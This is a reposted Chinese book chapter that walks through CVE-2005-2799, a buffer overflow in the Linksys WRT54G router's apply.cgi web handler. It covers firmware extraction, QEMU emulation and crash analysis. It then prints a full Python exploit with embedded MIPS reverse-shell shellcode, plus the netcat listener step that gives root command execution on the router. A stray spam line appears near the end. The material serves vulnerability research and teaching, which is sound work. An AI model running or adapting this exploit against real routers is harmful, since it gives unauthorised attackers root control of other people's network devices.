7660

本文節選自《揭秘家用路由器0day漏洞挖掘技術》，吳少華主編，王煒、趙旭編著，電子工業出版社 2015年8月出版。

本章實驗測試環境說明如表13-1所示。

表13-1

	測試環境	備注
操作系統	Binwalk 2.0
文件系統提取工具	Ubuntu 12.04
調試器	IDA 6.1
利用代碼解釋器	Python 2.7

13.1　漏洞介紹

Linksys WRT54G是一款SOHO無線路由器，在功能、穩定性、雙天線信號覆蓋能力方面都得到了用戶的認可。它還支持第三方固件，從而使其功能更加強大。不少用戶購買Linksys WRT54G路由器就是為了刷第三方固件，使路由器具有可自由定制的功能。 Linksys WRT54G v2版本的路由器曝出過一個漏洞，CVE編號為CVE-2005-2799。在Cisco官網（http://tools.cisco.com/security/center/viewAlert.x?alertId=9722）可以獲取如下圖所示的信息。從漏洞的公告中我們可以看出，該漏洞存在于WRT54G路由器Web服務器程序HTTPD的apply.cgi處理腳本中，由于對發送的POST請求沒有設置足夠的邊界與內容長度檢查，當未經認證的遠程攻擊者向路由器的apply.cgi頁面發送內容長度大于10?000字節的POST請求時，就可以觸發緩沖區溢出。這個漏洞會允許未經認證的用戶在受影響的路由器上以root權限執行任意命令。該漏洞被覆蓋的緩沖區并不在堆棧中，因此，在溢出后不會導致堆棧上的數據被覆蓋，而是直接覆蓋到漏洞程序的?.data段，這時對漏洞的利用方式就與之前不同了。在這種情況下，控制溢出數據覆蓋?.extern段中的函數調用地址，劫持系統函數調用，是上上之選。該漏洞就是使用這種利用方式，并在劫持系統函數調用之后使漏洞程序執行前面章節中編寫的Reverse_tcp的Shellcode的。

圖13-1

硬件和軟件分析環境說明如表13-2所示。

表13-2

	描述	備注
型號	WRT54G	Linksys
硬件版本	V2.2
固件版本	V4.00.7
指令系統	MIPSEL	小端機格式
QEMU	1.7.90	處理器模擬軟件

13.2　漏洞分析

下面詳細分析一下這個漏洞產生的原因和利用方法。

13.2.1　固件分析

下載Linksys WRT54G路由器4.00.7版本的固件，下載鏈接為http://download.pchome.net/ driver/network/route/wireless/down-129948-2.html，解壓縮后得到固件WRT54GV3.1_4.00.7_US_ code.bin。使用Binwalk將固件中的文件系統提取出來，如下圖所示。

圖13-2>

該漏洞的核心組件為?/usr/sbin/httpd，如下圖所示。

圖13-3

13.2.2　修復運行環境

從漏洞公告中我們已經知道，當路由器HTTPD的apply.cgi處理腳本接收長度大于10?000字節的POST請求時會觸發緩沖區溢出漏洞。該漏洞的測試POC如下。源碼　wrt54g_test.py

1 import sys
2 import urllib2 
3 try:
4     target = sys.argv[1]
5 except:
6     print "Usage: %s <target>" % sys.argv[0]
7     sys.exit(1) 
8 url = "http://%s/apply.cgi" % target
9 buf  = "\x42"*10000+"\x41"*0x4000      # POST parameter name 
10 req = urllib2.Request(url, buf)
11 print urllib2.urlopen(req).read()

第8行：訪問存在漏洞的apply.cgi處理腳本。
第9行：構造超過10?000字節的數據（這里我們構造一段足夠長的數據）。

當我們使用模擬器（QEMU）運行路由器中的應用程序（如這里的Web服務器）時，經常會遇到一個問題——模擬器缺乏硬件的模擬，導致程序無法執行。而需要執行的Web服務器就是應用程序試圖采用NVRAM中的信息來配置參數，但由于找不到設備導致了錯誤的發生。在路由器中，常見的NVRAM動態庫libnvram.so提供了nvram_get()?函數和nvram_set()函數來獲取和設置配置參數。如果使用模擬器運行應用程序，會在調用nvram_get()?函數時失敗，導致應用程序無法運行（因為模擬器中沒有NVRAM）。使用如下命令運行HTTPD，如下圖所示。

$ cp $(which qemu-mipsel) ./
$ chroot ./ ./qemu-mipsel ./usr/sbin/httpd
$ netstat -an|grep 80

圖13-4

在運行的過程中可以看到，程序報錯，提示找不到 /dev/nvram文件或目錄，且使用netstat命令查看當前系統開放的端口時沒有發現80端口，Web服務器啟動失敗。

1．修復NVRAM

使用zcutlip的一個nvram-faker來修復NVRAM。nvram-faker雖然是一個簡單的動態庫，但可以使用LD_PRELOAD劫持libnvram庫中的函數調用。我們只需要向一個ini的配置文件中寫入合理的NVRAM配置，就可以使Web服務器程序運行。 nvram-faker的下載方法如下。

$ git clone https://github.com/zcutlip/nvram-faker.git
$ ls
arch.mk         contrib      nvram-faker.c           nvram.ini
buildmipsel.sh  LICENSE.txt  nvram-faker.h           README.md
buildmips.sh    Makefile     nvram-faker-internal.h

在nvram-faker中提供了劫持nvram_get()?函數的方法。為了讓程序運行，還需要劫持一個函數，函數聲明如下。

char *get_mac_from_ip(const char*ip);

為了方便使用IDA或者GDB調試，我們把fork()?函數一并劫持，否則fork()?函數產生的多進程會讓調試過程異常復雜，函數聲明如下。

int fork(void);

綜上所述，我們需要對nvram-faker進行以下修改。
01　打開nvram-faker.c，添加如下代碼。

1 int fork(void)
2 {
3 return 0;
4 }
5 char *get_mac_from_ip(const char*ip)
6 {
7 char mac[]="00:50:56:C0:00:08";
8 char *rmac = strdup(mac);
9 return rmac;
10 }


代碼添加后如圖13-5所示。
02　修改nvram-faker.h頭文件，添加函數聲明如下。

char *get_mac_from_ip(const char*ip);
int fork(void);

修改后如下圖所示。
03　保存所有文件，進入編譯環節。在?/nvram-faker目錄下有兩個Shell腳本：一個是buildmips.sh，即用于編譯大端機格式的動態庫；另一個是buildmipsel.sh，即用于編譯小端機格式的動態庫。WRT54G路由器是小端機格式，所以這里使用buildmipsel.sh進行編譯，命令如下。

[email protected]:~/nvram-faker/ $ sh buildmipsel.sh
[email protected]:~/nvram-faker/ $ ls
arch.mk         ini.o              nvram-faker.c           nvram.ini
buildmipsel.sh  libnvram-faker.so  nvram-faker.h           README.md
buildmips.sh    LICENSE.txt        nvram-faker-internal.h
contrib         Makefile           nvram-faker.o

圖13-5

圖13-6

編譯好以后，會在?/nvram-faker目錄下生成一個名為“libnvram-faker.so”的動態庫。將libnvram-faker.so和同目錄下的nvram.ini復制到WRT54G路由器的根文件系統中，示例如下。

[email protected]:~/nvram-faker/ $ cp libnvram-faker.so ../ _WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/
[email protected]:~/nvram-faker/ $ cp nvram.ini ../_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/
[email protected]:~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/ $ ls
bin  etc  libnvram-faker.so  nvram.ini  sbin  usr  www
dev  lib  mnt                proc       tmp   var

由于libnvram-faker.so使用了共享庫編譯，所以我們需要將mipsel-linux-gcc交叉編譯環境中lib庫下的libgcc_s.so.1復制到WRT54G路由器的根文件系統中，命令如下。

$ cp /opt/mipsel/output/target/lib/libgcc_s.so.1 ~/_WRT54GV3.1_4.00.7_US_code.bin.extracted/squashfs-root/lib

2．修復HTTPD執行環境

HTTPD在運行時需要對?/var目錄下的某些文件進行操作，而這些文件是在Linux啟動過程中才會產生的，因此，編寫如下prepare.sh腳本修改HTTPD執行環境。源碼　prepare.sh

1 rm var
2 mkdir var
3 mkdir ./var/run
4 mkdir ./var/tmp
5 touch ./var/run/lock
6 touch ./var/run/crod.pid
7 touch httpd.pid

腳本run_cgi.sh提供了兩種方法執行HTTPD，一種是不需要調試器介入直接運行程序的執行模式，另一種是開放1234調試接口等待調試器連接。在QEMU環境中模擬執行HTTPD時，使用LD_PRELOAD環境變量加載libnvram-faker.so劫持函數調用，修復因硬件缺失導致的運行錯誤。增加的HTTPD腳本文件內容如下。源碼　run_cgi.sh

1 #!/bin/bash
2 DEBUG="$1"
3 LEN=$(echo  "$DEBUG" | wc -c)
4 # usage: sh run_cgi.sh debug   #debug mode
5 #       sh run_cgi.sh         #execute mode
6 cp $(which qemu-mipsel) ./
7 if [ "$LEN" -eq 1 ]
8 then
9         echo "EXECUTE MODE !\n"
10         sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" ./usr/sbin/httpd
11 else
12         echo "DEBUG MODE !\n"
13         sudo chroot ./ ./qemu-mipsel -E LD_PRELOAD="/libnvram-faker.so" -g 1234 ./usr/sbin/httpd
14 rm qemu-mipsel
15 fi

3．測試和分析環境

測試和分析環境說明如表13-3所示。

	IP地址
測試主機（Windows實體機）	192.168.90.11
虛擬主機（VMware Ubuntu）	192.168.230.136
虛擬網管（VMware）	192.168.230.1

網絡拓撲如下圖所示。

13.2.3　漏洞成因分析

運行prepare.sh腳本，修復HTTPD執行環境，命令如下。

$ sh prepare.sh

使用run_cgi.sh腳本調試模式執行HTTPD，等待調試器連接，命令如下。

$ sh run_cgi.sh debug
DEBUG MODE !

使用IDA加載HTTPD，進行遠程附加調試，按“F5”鍵直接運行HTTPD。待HTTPD服務開啟后，在Windows下運行測試腳本wrt54g-test.py，命令如下。

E:\>wrt54g_test.py 192.168.230.136

可以看到，Ubuntu中的HTTPD程序已經崩潰了，現場如圖13-8所示。閱讀崩潰部分的代碼，發現程序希望將0寫入0x41419851（0x41414141+0x5710）處時造成錯誤。其原因是：系統尋不到0x41419851這塊內存，而0x41414141是我們發送的偽造數據，0x5710正好是偽造的POST參數的總長度。同時，我們從崩潰現場還能知道，如果存在地址0x41414141+0x5710，那么0x004112D0處會將地址0x41414141寫入寄存器?$t9，并且在0x00411208處控制程序執行流程。這里的溢出數據已經把?.extern段的strlen函數地址覆蓋了。

從匯編代碼中可以看到，崩潰現場在do_apply_post函數的代碼段中。從命名上可以知道，該函數的功能是處理apply的POST參數，正與漏洞公告中描述的一樣。下面，我們看一下崩潰現場附近的代碼，分析造成漏洞的真正原因，如下圖所示。

在do_apply_post函數偏移0x3C處的偽代碼如下。

1 wreadlen = wfread(post_buf,1,content-length,fhandle);
2 if(wreadlen)
3     strlen(post_buf);

讀取長度為content-length的所有POST數據到post_buf，如果讀取的POST數據長度不為0，就計算post_buf中數據的長度。這里的content-length是POST參數的長度，在調用do_apply_post函數時并沒有進行校驗，而該長度在使用讀取數據進入內存時也沒有進行校驗就直接讀取了POST參數，因此導致了緩沖區溢出。我們再看看產生緩沖區溢出的內存post_buf的位置。可以看到，post_buf位于HTTPD的?.data段中，如下圖所示。在應用程序中，.data段用于存放已初始化的全局變量，這里的post_buf大小為0x2710字節（10?000字節）。

現在我們已經弄清楚了漏洞的原理。該漏洞在接收超過10?000字節的來自攻擊者偽造的數據包時，由于在do_apply_post函數調用前后沒有驗證POST數據的長度，而在do_apply_post函數中使用了自定義的wfread()?函數，并調用了fread()?系統函數，直接將偽造的超長POST數據全部復制到大小為10?000字節的全局變量post_buf中，所以導致了緩沖區溢出。

13.3　漏洞利用

下面介紹一下該漏洞的利用方式。

13.3.1　漏洞利用方式：執行Shellcode

在漏洞分析中我們發現，該漏洞有一個特征，就是緩沖區溢出的數據覆蓋?.data段中的全局變量。仔細分析能夠發現在?.data段后面有以下段，如下圖所示。

因為這些段是連續的并且可寫入，所以我們考慮通過do_apply_post函數的漏洞使溢出數據連續覆蓋?.data后面的多個段，直到將?.extern段中的strlen函數地址覆蓋，這樣，我們就可以在wfread函數覆蓋內存以后，在調用strlen函數時將執行流程劫持并執行任意地址的代碼，如下圖所示。

在這里，只要填充0x2F32（0x1000D7A0 - 0x10001AD8）字節的數據，就可以將原來的strlen調用位置填充為任意地址，并控制執行流程。但是，為了利用的穩定性和通用性，這里選擇將strlen之后的一段數據一并覆蓋，利用方法如下圖所示。在post_buf中填充NOP指令及Shellcode，將post_buf之后總共0x4000字節的數據全部覆蓋為post_buf首地址，使布置的緩沖區總是能夠覆蓋strlen函數地址，strlen指向post_buf，如此一來，原來執行strlen的地方都會跳轉到post_buf首地址去執行。這樣就可以保證wfread()?函數布置完緩沖區以后，在0x004112D8處執行strlen函數時會被劫持到post_buf頭部去執行我們的Shellcode了。

13.3.2　生成POC

在完成了ROP的構造以后，編寫如下代碼與路由器進行交互，實現漏洞利用。源碼　wrt54g_POC.py

1 import sys
2 import struct,socket
3 import urllib2
4 def makepayload(host,port):
5     print '[*] prepare shellcode',
6     hosts = struct.unpack('<cccc',struct.pack('<L',host))
7     ports = struct.unpack('<cccc',struct.pack('<L',port))
8     mipselshell ="\xfa\xff\x0f\x24"   # li t7,-6
9     mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
10     mipselshell+="\xfd\xff\xe4\x21"   # addi a0,t7,-3
11     mipselshell+="\xfd\xff\xe5\x21"   # addi a1,t7,-3
12     mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
13     mipselshell+="\x57\x10\x02\x24"   # li v0,4183 # sys_socket
14     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
15     mipselshell+="\xff\xff\xa2\xaf"   # sw v0,-1(sp)
16     mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
17     mipselshell+="\xfd\xff\x0f\x34"   # li t7,0xfffd
18     mipselshell+="\x27\x78\xe0\x01"   # nor t7,t7,zero
19     mipselshell+="\xe2\xff\xaf\xaf"   # sw t7,-30(sp)
20     mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\x0e\x3c"   # lui t6,0x1f90
21     mipselshell+=struct.pack('<2c',ports[1],ports[0]) + "\xce\x35"   # ori t6,t6,0x1f90
22     mipselshell+="\xe4\xff\xae\xaf"   # sw t6,-28(sp)
23     mipselshell+=struct.pack('<2c',hosts[1],hosts[0]) + "\x0e\x3c"   # lui t6,0x7f01
24     mipselshell+=struct.pack('<2c',hosts[3],hosts[2]) + "\xce\x35"   # ori t6,t6,0x101
25     mipselshell+="\xe6\xff\xae\xaf"   # sw t6,-26(sp)
26     mipselshell+="\xe2\xff\xa5\x27"   # addiu a1,sp,-30
27     mipselshell+="\xef\xff\x0c\x24"   # li t4,-17
28     mipselshell+="\x27\x30\x80\x01"   # nor a2,t4,zero
29     mipselshell+="\x4a\x10\x02\x24"   # li v0,4170  # sys_connect
30     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
31     mipselshell+="\xfd\xff\x11\x24"   # li s1,-3
32     mipselshell+="\x27\x88\x20\x02"   # nor s1,s1,zero
33     mipselshell+="\xff\xff\xa4\x8f"   # lw a0,-1(sp)
34     mipselshell+="\x21\x28\x20\x02"   # move a1,s1 # dup2_loop
35     mipselshell+="\xdf\x0f\x02\x24"   # li v0,4063 # sys_dup2
36     mipselshell+="\x0c\x01\x01\x01"   # syscall 0x40404
37     mipselshell+="\xff\xff\x10\x24"   # li s0,-1
38     mipselshell+="\xff\xff\x31\x22"   # addi s1,s1,-1
39     mipselshell+="\xfa\xff\x30\x16"   # bne s1,s0,68 <dup2_loop>
40     mipselshell+="\xff\xff\x06\x28"   # slti a2,zero,-1
41     mipselshell+="\x62\x69\x0f\x3c"   # lui t7,0x2f2f "bi"
42     mipselshell+="\x2f\x2f\xef\x35"   # ori t7,t7,0x6269 "http://"
43     mipselshell+="\xec\xff\xaf\xaf"   # sw t7,-20(sp)
44     mipselshell+="\x73\x68\x0e\x3c"   # lui t6,0x6e2f "sh"
45     mipselshell+="\x6e\x2f\xce\x35"   # ori t6,t6,0x7368 "n/"
46     mipselshell+="\xf0\xff\xae\xaf"   # sw t6,-16(sp)
47     mipselshell+="\xf4\xff\xa0\xaf"   # sw zero,-12(sp)
48     mipselshell+="\xec\xff\xa4\x27"   # addiu a0,sp,-20
49     mipselshell+="\xf8\xff\xa4\xaf"   # sw a0,-8(sp)
50     mipselshell+="\xfc\xff\xa0\xaf"   # sw zero,-4(sp)
51     mipselshell+="\xf8\xff\xa5\x27"   # addiu a1,sp,-8
52     mipselshell+="\xab\x0f\x02\x24"   # li v0,4011 # sys_execve
53     mipselshell+="\x0c\x01\x01\x01"  # syscall 0x40404
54     print 'ending ...'
55     return mipselshell 
56 try:
57     target = sys.argv[1]
58 except:
59     print "Usage: %s <target>" % sys.argv[0]
60     sys.exit(1) 
61 url = "http://%s/apply.cgi" % target
62 #ip='192.168.230.136'
63 sip='192.168.1.100'     #reverse_tcp local_ip
64 sport = 4444            #reverse_tcp local_port
65 DataSegSize = 0x4000
66 host=socket.ntohl(struct.unpack('<I',socket.inet_aton(sip))[0])
67 payload = makepayload(host,sport)
68 addr = struct.pack("<L",0x10001AD8)
69 DataSegSize = 0x4000
70 buf = "\x00"*(10000-len(payload))+payload+addr*(DataSegSize/4) 
71 req = urllib2.Request(url, buf)
72 print urllib2.urlopen(req).read()

第61行：訪問存在漏洞的apply.cgi。
第67行：使用makepayload()?函數配置reverse_tcp的源IP地址和源PORT（端口）。
第70行：構造緩沖區。
第71行～第72行：使用HTTP協議發送偽造數據包。

13.4　漏洞測試

測試環境

01　打開網頁，訪問網關（路由器）。網關是192.168.1.1，瀏覽器訪問192.168.1.1，登錄WRT54G路由器，在首頁上可以看到當前路由器的型號和固件版本。
02　使用nc命令在192.168.1.100上打開4444端口監聽，命令為“nc -lp 4444”。
03　執行測試腳本，命令為“wrt54g_POC.py 192.168.1.1”。
04　執行任意命令。

整個過程如下圖所示。

登錄路由器以后，就可以使用命令對路由器進行控制，并查看路由器CPU的信息了。

这里只有精品视频

原文地址:http://drops.wooyun.org/papers/7660

13.1 漏洞介紹

13.2 漏洞分析

13.2.1 固件分析

13.2.2 修復運行環境